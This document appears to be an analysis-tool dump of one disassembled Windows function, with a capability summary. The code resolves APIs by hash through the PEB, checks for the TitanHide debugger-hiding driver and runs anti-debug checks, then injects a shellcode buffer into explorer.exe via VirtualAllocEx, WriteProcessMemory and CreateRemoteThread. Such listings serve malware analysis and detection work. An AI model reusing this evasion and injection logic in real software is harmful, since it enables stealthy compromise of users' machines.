Function at 0x140011fe0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Hash data using fnv
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14011b8b0]
xor rax, rsp
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
mov byte [rbp - 0x80], 0
xor r13d, r13d
mov dword [rbp - 0x74], 0x101
xor eax, eax
mov dword [rbp - 0x7c], r13d
xor r14b, r14b
mov qword [rsp + 0x68], r13
cmp qword [0x140123e58], rax
mov qword [rbp - 0x70], r13
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp + 0x28], rax
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
je 0x140012070
cmp qword [0x140123e60], rax
je 0x140012070
cmp qword [0x140123e70], rax
jne 0x14001238f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140124088]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140012127
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax]
mov ebx, r11d
mov r9d, 0x81d04e56
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + rsi]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140012101
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400120d0
cmp r9d, 0xa32f11b1
je 0x140012106
inc r11d
jmp 0x1400120b0
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140124088], rax
mov qword [0x140123e68], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140124010]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x1400121e7
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0x963e4cc2
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + rsi]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400121c1
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140012190
cmp r9d, 0x63b5ff5a
je 0x1400121c6
inc r11d
jmp 0x140012170
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140124010], rax
mov qword [0x140123e58], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140124038]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x1400122a7
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0x83565d42
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + rsi]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140012281
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140012250
cmp r9d, 0xf8f33856
je 0x140012286
inc r11d
jmp 0x140012230
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140124038], rax
mov qword [0x140123e60], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x1401240c8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140012365
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0xe865116
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + rsi]
add r8, r10
movzx eax, byte [r8]
inc r8
test al, al
je 0x14001233f
nop
movsx ecx, al
lea r8, [r8 + 1]
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
movzx eax, byte [r8 - 1]
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
test al, al
jne 0x140012310
cmp r9d, 0x65db9b28
je 0x140012344
inc r11d
jmp 0x1400122f0
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x1401240c8], rax
cmp qword [0x140123e58], r13
mov qword [0x140123e70], rax
je 0x140012dd1
cmp qword [0x140123e60], r13
je 0x140012dd1
test rax, rax
je 0x140012dd1
mov qword [rsp + 0x30], r13
lea rcx, str..TitanHide
mov dword [rsp + 0x28], r13d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
mov qword [rsp + 0x178], r15
mov dword [rbp - 0x78], r13d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140012416
mov dword [rsp + 0x70], 2
lea r9, [rbp - 0x78]
mov rcx, qword gs:[0x30]
mov r8d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r13
mov rdx, qword [rcx + 0x40]
mov rcx, rax
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x74], 0x3ff
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, dword [rax + 0x48]
lea ecx, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1400124a0
mov rcx, qword gs:[0x30]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [rcx + 0x40]
lea edx, [r9 + 0x11]
mov rcx, qword gs:[0x30]
mov rdi, qword [rcx + 0x48]
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x40], r13
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x48], r13
mov rcx, rax
call qword [0x140123e58]
mov rax, qword gs:[0x30]
mov rcx, rsi
mov qword [rax + 0x40], rbx
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], rdi
call qword [0x140123e70]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x7c]
mov r15d, 1
mov qword [rsp + 0x20], rax
mov r9d, r15d
lea r8, [rbp - 0x80]
lea edx, [r15 + 0x10]
call qword [0x140123e60]
mov rax, qword gs:[0x30]
lea edx, [r15 + 0x10]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rbx, qword [rax + 0x40]
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 0x48]
mov rax, qword gs:[0x30]
mov qword [rax + 0x40], r13
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], r13
mov rax, qword [0x140123e58]
call rax
mov rcx, qword gs:[0x30]
cmp eax, 0xc0000008
movzx r14d, r14b
cmovne r14d, r15d
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov qword [rcx + 0x40], rbx
xor r8d, r8d
mov rcx, qword gs:[0x30]
xor edx, edx
mov qword [rcx + 0x48], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140012605
mov r10, qword [0x140123e60]
lea rax, [rbp - 0x7c]
mov r9d, r15d
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov rcx, rbx
lea edx, [r15 + 0x10]
call r10
test eax, eax
js 0x14001258f
cmp byte [rbp - 0x80], r13b
jne 0x140012596
cmp dword [rbp - 0x7c], r15d
jne 0x140012596
cmp eax, 0xc0000004
jne 0x14001259a
movzx r14d, r15b
mov rax, qword [0x140123e58]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x11]
call rax
test eax, eax
js 0x1400125fc
mov rax, qword [0x140123e60]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, rbx
mov r9d, r15d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov rcx, rsi
mov edi, eax
call qword [0x140123e70]
test edi, edi
js 0x1400125f0
cmp byte [rbp - 0x80], r13b
je 0x1400125f8
cmp dword [rbp - 0x7c], r15d
jne 0x1400125f8
cmp edi, 0xc0000004
jne 0x1400125fc
movzx r14d, r15b
mov rcx, rbx
call qword [0x140123e70]
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, dword [rax + 0x48]
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x140012655
mov r10, qword [0x140123e58]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call r10
mov rcx, rdi
mov ebx, eax
call qword [0x140123e70]
cmp ebx, 0xc0000022
movzx r14d, r14b
cmovne r14d, r15d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140124008]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140012707
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
mov ebx, r11d
mov r9d, 0xe388882b
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + rsi]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400126e1
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400126b0
cmp r9d, 0xebe798c8
je 0x1400126e6
inc r11d
jmp 0x140012691
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140124008], rax
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], r13
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rax
test eax, eax
js 0x140012795
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140012795
mov rax, qword [0x140123e60]
lea rdx, [rbp - 0x7c]
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x80]
mov edx, reloc.WS2_32.dll_recvfrom
mov r9d, r15d
call rax
mov rcx, qword [rsp + 0x68]
mov ebx, eax
call qword [0x140123e70]
test ebx, ebx
js 0x140012789
cmp dword [rbp - 0x7c], r15d
jne 0x140012791
cmp byte [rbp - 0x80], r13b
jne 0x140012791
cmp ebx, 0xc0000004
jne 0x140012795
movzx r14d, r15b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140124078]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140012847
movsxd rax, dword [r10 + 0x3c]
mov r11d, r13d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
mov ebx, r11d
mov r9d, 0xdc49aff3
lea rax, [r10 + rbx*4]
mov r8d, dword [rax + rsi]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140012821
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400127f0
cmp r9d, 0x53f71240
je 0x140012826
inc r11d
jmp 0x1400127d1
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140124078], rax
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], r13
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r13
xor r8d, r8d
mov qword [rsp + 0x38], r13
mov edx, 0x1fffff
mov dword [rsp + 0x30], 5
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rax
test eax, eax
js 0x1400128d8
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400128d8
mov rax, qword [0x140123e60]
lea rdx, [rbp - 0x7c]
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 0x80]
mov edx, reloc.WS2_32.dll_recvfrom
mov r9d, r15d
call rax
mov rcx, qword [rsp + 0x68]
mov ebx, eax
call qword [0x140123e70]
test ebx, ebx
js 0x1400128cc
cmp dword [rbp - 0x7c], r15d
jne 0x1400128d4
cmp byte [rbp - 0x80], r13b
je 0x1400128d4
cmp ebx, 0xc0000004
jne 0x1400128d8
movzx r14d, r15b
mov rax, qword [0x140123e58]
mov r9d, r15d
mov r8, r15
mov edx, reloc.WS2_32.dll_recvfrom
mov rcx, 0xfffffffffffffffe
call rax
cmp eax, 0xc0000005
je 0x140012907
cmp eax, 0x80000002
movzx r14d, r14b
cmovne r14d, r15d
mov rax, qword [0x140123e58]
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xffff
lea edx, [r9 + 0x11]
call rax
cmp eax, 0xc0000008
movzx ebx, r14b
mov rax, qword [0x140123e58]
cmovne ebx, r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 1]
call rax
cmp eax, 0xc0000024
mov r9d, r15d
mov rax, qword [0x140123e58]
cmovne ebx, r15d
xor r8d, r8d
lea edx, [r8 + 0x11]
lea rcx, [r8 - 2]
call rax
cmp eax, 0xc0000004
movzx ebx, bl
mov rax, qword [0x140123e60]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x7c]
mov rcx, 0xfffffffffffffffe
mov r9d, r15d
mov edx, reloc.WS2_32.dll_recvfrom
cmovne ebx, r15d
call rax
test eax, eax
js 0x14001299e
cmp dword [rbp - 0x7c], r15d
jne 0x1400129a5
cmp eax, 0xc0000004
jne 0x1400129a9
movzx ebx, r15b
mov rax, qword [0x140123e58]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rax
test eax, eax
js 0x140012a52
mov rax, qword [0x140123e60]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, 0xfffffffffffffffe
mov r9d, r15d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
test eax, eax
js 0x1400129fd
cmp dword [rbp - 0x7c], r15d
jne 0x140012a0b
cmp byte [rbp - 0x80], r13b
je 0x140012a0b
cmp eax, 0xc0000004
je 0x140012a0b
cmp eax, 0x80000002
jne 0x140012a0f
movzx ebx, r15b
mov rax, qword [0x140123e60]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x74]
mov rcx, 0xfffffffffffffffe
mov r9d, r15d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
test eax, eax
js 0x140012a47
cmp dword [rbp - 0x7c], r15d
jne 0x140012a4e
cmp dword [rbp - 0x74], 0x101
jne 0x140012a4e
cmp eax, 0xc0000004
jne 0x140012a52
movzx ebx, r15b
mov rax, qword [0x140123e60]
lea r8, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea edx, [r9 + 0x11]
lea rcx, [r9 - 2]
call rax
movzx r14d, bl
cmp eax, 0xc0000004
mov edi, r13d
lea rbx, [rbp - 0x68]
cmove r14d, r15d
movabs rsi, 0xcccccccccccccccd
nop dword [rax]
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r10, rax
mov qword [rbx - 8], rax
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
mov rax, rsi
mul r8
shr rdx, 3
lea rcx, [rdx + rdx*4]
add rcx, rcx
sub r8, rcx
cmp r8, 5
jbe 0x140012afc
test r10, r10
je 0x140012afc
mov rax, qword [0x140123e58]
xor r9d, r9d
xor r8d, r8d
mov rcx, r10
lea edx, [r9 + 0x11]
call rax
test eax, eax
js 0x140012afc
mov byte [rbx], r15b
inc edi
add rbx, 0x10
cmp edi, 0xa
jb 0x140012a90
mov esi, r13d
lea rbx, [rbp - 0x68]
nop
mov rdi, qword [rbx - 8]
test rdi, rdi
je 0x140012b69
mov rax, qword [0x140123e60]
lea rcx, [rbp - 0x7c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, rdi
mov r9d, r15d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
test eax, eax
js 0x140012b60
movzx eax, byte [rbp - 0x80]
test al, al
jne 0x140012b55
cmp byte [rbx], r13b
je 0x140012b51
movzx r14d, r15b
jmp 0x140012b60
test al, al
je 0x140012b60
cmp byte [rbx], r13b
movzx r14d, r14b
cmove r14d, r15d
mov rcx, rdi
call qword [0x140123e70]
inc esi
add rbx, 0x10
cmp esi, 0xa
jb 0x140012b10
mov rbx, qword [0x140123e68]
test rbx, rbx
je 0x140012dc3
xor r8d, r8d
mov qword [rsp + 0x170], r12
mov r12, qword [0x140123e70]
lea r9, [rsp + 0x64]
lea rdx, [rsp + 0x64]
mov dword [rbp - 0x78], r13d
mov dword [rsp + 0x64], r13d
mov r15d, r13d
lea ecx, [r8 + 5]
mov rsi, r13
call rbx
cmp eax, 0xc0000004
jne 0x140012c0a
nop dword [rax]
test rsi, rsi
je 0x140012bd6
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x64]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x64]
lea r9, [rsp + 0x64]
mov rdx, rax
mov ecx, 5
mov rsi, rax
call rbx
cmp eax, 0xc0000004
je 0x140012bc0
test eax, eax
jns 0x140012c2d
test rsi, rsi
je 0x140012dbb
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140012dbb
mov rdi, rsi
cmp dword [rsi], r13d
je 0x140012cbb
lea r15, str.explorer.exe
mov r10, qword [rdi + 0x40]
mov r9, r15
test r10, r10
je 0x140012ca8
sub r10, r15
nop
movzx r8d, word [r9]
movzx edx, word [r10 + r9]
lea ebx, [r8 - 0x41]
cmp ebx, 0x19
lea ecx, [r8 + 0x20]
lea r11d, [rdx - 0x41]
cmova ecx, r8d
lea eax, [rdx + 0x20]
cmp r11d, 0x19
cmova eax, edx
cmp eax, ecx
jne 0x140012c91
test dx, dx
je 0x140012c8b
test r8w, r8w
je 0x140012c91
add r9, 2
jmp 0x140012c50
test r8w, r8w
je 0x140012cb7
cmp r11d, 0x19
ja 0x140012c9a
add edx, 0x20
cmp ebx, 0x19
ja 0x140012ca3
add r8d, 0x20
cmp edx, r8d
je 0x140012cb7
mov eax, dword [rdi]
add rdi, rax
cmp dword [rdi], r13d
jne 0x140012c40
jmp 0x140012c17
mov r15d, dword [rdi + 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15d, r15d
je 0x140012dbb
mov r8d, r15d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012dbb
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x6c2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140012db5
lea rdx, [rbp - 0x78]
mov dword [0x140123e4c], 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp - 0x78], r13d
jne 0x140012da4
mov r9d, 0x3ee
mov qword [rsp + 0x20], r13
lea r8, [0x14011c530]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140012da4
mov rax, qword gs:[0x30]
mov r9, rdi
mov qword [rsp + 0x30], r13
xor edx, edx
mov dword [rsp + 0x28], r13d
mov r8d, 0x1000
mov rcx, rbx
mov rax, qword [rax + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x140012da4
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call r12
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call r12
mov r12, qword [rsp + 0x170]
mov r15, qword [rsp + 0x178]
movzx eax, r14b
jmp 0x140012dd3
xor al, al
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.14009bc50
mov rbx, qword [rsp + 0x180]
add rsp, 0x140
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret